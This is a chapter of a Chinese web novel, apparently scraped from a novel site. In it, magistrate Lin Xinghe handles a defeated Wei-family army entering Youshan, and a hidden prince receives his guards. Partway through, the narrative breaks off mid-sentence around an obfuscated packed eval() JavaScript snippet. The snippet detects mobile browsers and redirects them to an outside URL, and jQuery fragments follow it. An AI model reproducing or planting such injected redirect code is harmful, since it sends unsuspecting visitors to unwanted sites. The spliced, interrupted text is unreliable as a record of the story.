回了安乐镇府衙的林星河就和何甫坐在前堂回廊下,一边喝茶,一边闲聊:
“……大人的意思我明白了,的确,那位萧公子才学极高,说句实话,老朽并不觉得我有什么可以教的。但若是从朝堂,天下,民生这些地方来说的话,那倒是有些话可以谈一谈的。”何甫松了口气,笑道。
他今日去见了这位萧公子,便明白了,这是一位萧氏皇子,身份应该非常贵重的,却被扔到了沉域,定然是满心的愤恨不甘。
而大人救了这位萧公子,又安排他去做老师,让这位萧公子每日读书写字,想来也是不希望这位萧公子沉溺于愤恨不甘之中,可这位萧公子才学极高,他委实也不知道该教他什么。
回来后就请教了大人,大人就跟他说了,可谈民生,谈天下,谈朝堂,谈他过去的那些个想法等等。
“相信我,何老,你跟萧羲提你那些想法,萧羲一定懂你,他也会感兴趣,哦,对了,也可以谈谈我们在进行中的这个积分手册嘛。”林星河说着,又倒了杯茶递给何甫,“明儿个把茶具也带去旧陵,今日你们下棋了嘛,明日就喝茶看雪,纵论天下嘛。”
何甫听着,便笑了起来,“那大人也可以与我们一起纵论天下。”
“那可不行,我可不懂朝堂。”林星河说着,看向夜空,想到萧羲说的“一群死物”,心头轻叹一声,喃喃说着,“即便是死物,可也是需要铭记的东西嘛。”
“大人说什么呢?”
“哦,没什么。”
这时,铁大树匆匆来了,恭敬躬身拱手,“大人,酉山发现痕迹了。”
“嗯?什么痕迹?”林星河一边倒茶喝着,一边问着。
“有人进入了酉山,且应是一支先锋队!”
林星河噗嗤一声,嘴里的茶都喷了!
“啊?铁大叔你说什么?一支先锋队?等会,你怎么就确定是一支先锋队?!”林星河瞪大眼睛问着。
“这个,这个,一看,就,就知道的……”铁大树有些费解的说着,他说得结结巴巴,实在是不知道该跟大人怎么说,那些脚印,痕迹他一看就知道了。
“那,大概多少人?”林星河想了想,就问了另外一个问题,“他们是躲在酉山了?”
“约莫一千多人,他们应该是朝酉山的黑谷进发了,那个地方有毒气!怕是进了很难活了!”铁大树严肃的说着。
林星河皱起眉头,站起身,转了几个圈,一旁的何甫有些担忧的开口,“大人,既然他们没有进沉域,那,那我们就不必管了……”
林星河摇头,看向铁大叔,认真问着,“大叔,你觉得他们是夷族?还是卫家的?”
铁大树严肃拱手,“应是卫家的,我看到了卫家的标记!”
“好,那就盯着,如果他们进入酉山黑谷,你就给他们一个警告,让他们离开,如果他们不理会,那就别管了,但是不要让他们进入沉域!”林星河严肃说着。
铁大树恭敬拱手应下,就转身匆匆离去了。
“大人这是……”何甫有些不解的看着林星河。
林星河长叹一声,“函谷一战,卫家必然是败了,卫家戍卫边境多年啊。”
何甫听懂了,目光慈爱的看向林星河,“大人是不忍心,我们明白。”又想了想刚刚大人吩咐的话,不错,一来是善意警告,若是对方不听,想来对方此时应如惊弓之鸟,怕也是不会怎么听的,那就没有办法了,一切还是以沉域的安全为先,所以大人的处置是很不错了。
“往年,酉山中也有逃进来过几个逃兵什么的,但往往没有多久就又跑走了。”何甫转开话题说着。
“是因为酉山的环境?”
“酉山是沉域的四座山里最深的一座山了,里头环境复杂,阿铁常年在酉山跑,他都说自己也不敢保证安全的,外人想要通过酉山进入我们沉域啊,除非是走已经开辟好的那条小路,不然的话,是很难进来的,大人放心吧。”
林星河听着,微微点头,心里头微微松了口气,卫家军口碑不错,但现在逃进酉山的到底是不是卫家军,这个还不敢确定,且此时经历了大败的卫家军定然是愤怒惊恐不安的,这样的军队是万万不能进入平静的沉域。
沉域里可都是老弱妇孺啊。
*****
此时的旧陵主殿前,萧羲看着暗沉的星空,今晚还有雪,雪花飘落,带来了少许冷意。
萧羲拉了拉身上的披风,他身上的披风是大人的,大人非要给他,说是他生病疗伤,应要注意保暖。大人说他自己还有一件,若不是确定了大人真的还有一件,他是不会收下这件披风的。
“……所以,你们追随的,便是拥有黑色麒麟纹身的萧氏?”萧羲缓缓开口问着,低头眯眼盯着眼前跪在他面前的和夜色几乎融合在一起的十二人,沉寂了百年的暗卫。
“是,殿下当年出生之时,沉寂的九卫中凡是直属嫡系一脉都知晓,我们遵守先祖遗命,若无信物和殿下的诏令,我们绝不可苏醒!”跪在最前的暗卫恭敬低声说着,声音里隐隐的有些激动的沙哑。
萧羲皱眉,“你们是如何断定,我便是黑色麒麟纹身的萧氏血脉?”
“殿下,身为萧氏家臣守族,凡是嫡系守族都会看见,在殿下出生之时,麒麟曾经现身过!”暗卫低声恭敬说着。
萧羲皱眉,“……”这话便有些含糊了,但密室中的萧氏的几封遗信都有提到家臣守族似乎都有些诡异的能力?
罢了。
“如此,你们要做的第一件事便是将沉寂的九卫重建,姬一是我母后的幕僚,也是我母后的暗卫,你们且与他联系,留下两人在此即可。”
“遵殿下诏令!”
******
酉山。
酉山高大的树木将天空密密麻麻的遮住,不管白天还是黑夜,酉山中几乎没有半点光亮。
而在此时的酉山森林中,一千多人散落着,或坐或靠,神色憔悴紧张,大部分人身上都缠着染血的绷带,却悄然无声,只有沉默和冷峻的气息悄悄蔓延中。
坐在中央的男人一身破烂的盔甲,满是血污,身上还缠着绷带,神色疲惫憔悴,但一双眼睛却锋利得很,他盯着手里的生锈的羽箭,慢慢的反复的翻看中,而一旁蹲着的男人仔细的看着手里的破布,写着字的破布,字有些歪斜,但字迹细细一看却是不错,似乎藏着几分风骨。
“将军,看着像是铁家的……”翻看着破布的男人带着几分不确定的说着,上面的字警告着他们再往西走,就是走入危险之地,应往南走才是。
“这羽箭,就是铁家的箭。”男人摩挲着手里的羽箭,眼睛微微眯起,“传令下去,往南走!”
看着破布的男人恭敬应下,就去传达命令。
是铁家的,二十年前被天都抄家灭族流放沉域的铁家,与卫家都是大楚凌烟阁二十四世家之一,但二十年前,铁家没了,如今卫家,只怕他们卫家也没了!
穿着盔甲的男人慢慢的站起,握紧手里的生锈羽箭,看着暗沉的夜空,事发突然,本来运筹帷幄,胜券在握的一场战事突然惨败!父亲让他走,让他带着卫家军的精锐马上走,说什么他们必须活下去!又急急的派遣他们卫家的暗卫赶赴天都,不知道能不能赶上,能不能及时示警……
他们卫家是被算计了!
“将军!我们现在就走?”
“走,立即往南!”穿着盔甲的男人哑声说着。
*****
天色蒙蒙亮的时候,林星河已经打着呵欠走出来了。
林大忠端着洗漱的温水正快步走过来,一见林星河已经披着袍服走出来了,忙急急上
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17251148|197944||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
前,“哎呦,公子,您怎么这么早起来了?”昨晚四更天了才睡,怎么这会儿就起来了,这都没有睡几个时辰。
“我睡不着。”林星河懒懒说着,卷起袖子自顾自的洗漱,擦脸,又自顾自的将外袍穿好。
这时候,外头铁大树匆匆来了。
“大人!”
林星河伸了伸懒腰,又打了一个呵欠,“大叔,那卫家军现在在哪?”
“他们已经到了花谷!然后……咳,卫年想跟我们谈谈。”铁大树有些忐忑不安的说着,是他漏了痕迹,也是那卫年,时隔多年,没想到卫年那小子也是长进了啊!
林星河懒懒的应了一声,“要谈是吧?”
“对不起,大人,都是我等行事不够谨慎。”铁大树说着,就要跪下。
但林星河摆手示意铁大树起来。
“我昨天想了好久,这样子也不是办法,还是得和对方谈谈。”林星河说着,对身侧的林大忠说着,“阿忠叔,你看卢老太太的早膳做好了没有?我吃完早膳就去酉山。对了,跟何老和百里大夫说一下,今天得他们自己过去旧陵了。”
林大忠忙一一应下,随后就匆匆去做事了。
随后林星河就抬手示意铁大树坐下,一边倒了温水喝着,一边问着,“大叔,你对酉山的这卫家军熟悉不?”
铁大树点头,低声说着,“酉山卫家军的统领叫卫年,二十年前我和他在天都也算是一起玩过的。”
林星河眉梢微挑,哦,旧人?
“卫年那小子非常精明,也够果断,二十年前我和他打架的时候,常常难分胜负,如果现在再打的话,大概我能够赢他。”铁大树一脸严肃的说着。
林星河点头,随即笑道,“嗯,我明白了。”
“大人,人心易变,不若我去和卫年说?”铁大树低声说着。
林星河却是摇头,“不合适。”说罢,又笑着加了一句,“没事,大叔你跟着我呢,虽然对方人多,但是,咱安乐镇的巡视队伍也不差,而且他们所在的地方是酉山,酉山可是我们沉域的地盘!”
铁大树想了想,明白了,脸色就明显舒缓了下来,随即就站起身,拱手说道,“大人,我现在就去让巡视队准备一下。”
铁大树匆匆去准备 ,林星河就开始咬着包子,喝着稀粥。一旁的林大忠就出门去寻何甫和百里大夫了。
****
安乐镇本来是没有巡视队伍的,就是二十几个男子跟着铁大树平日去打猎什么的,后来林星河来了,说既然沉域冬日有野兽下山扰民,那就干脆成立一个巡视队伍,冬日巡防。然后三个月来,这支巡视队伍就慢慢的有模有样了。
巡视队的服装都是统一的黑色劲装,臂膀还绣着一个乐字,神色冷峻严肃的寂然无声的站在铁大树跟前。
“今日护卫大人进入酉山,记住,用三号方案!”铁大树沉声说着。
“喏!”巡视队齐齐拱手应下。
用完早膳背着袋子走出来的林星河看着站在府衙门前的这群神色冷峻,巍然不动,气势悍然的队伍,不由哇了一声,转头看向恭敬朝他拱手的铁大树,比了比大拇指,“大叔,你厉害!”
三个月哎,当初懒懒散散的狩猎队,现在就这么厉害啦?
铁大树躬身拱手,忙恭敬开口,“是大人的方案好。”
当初大人说要成立巡视队伍来巡防沉域,给了一个说是胡乱想的方案,他用这个方案训练了三个月,效果极好!
“不不不,我那都是瞎编的!”林星河忙摆手说着,随后又赶紧说着,“我们出发吧。”
要去酉山,也不知道要走多久,林星河慢悠悠的朝酉山进发了,身后跟着铁大树和巡视队伍,而听说大人要去酉山,就忙跑来想跟着一块去的何甫等人,就扑了个空,只好坐着马车去了旧陵。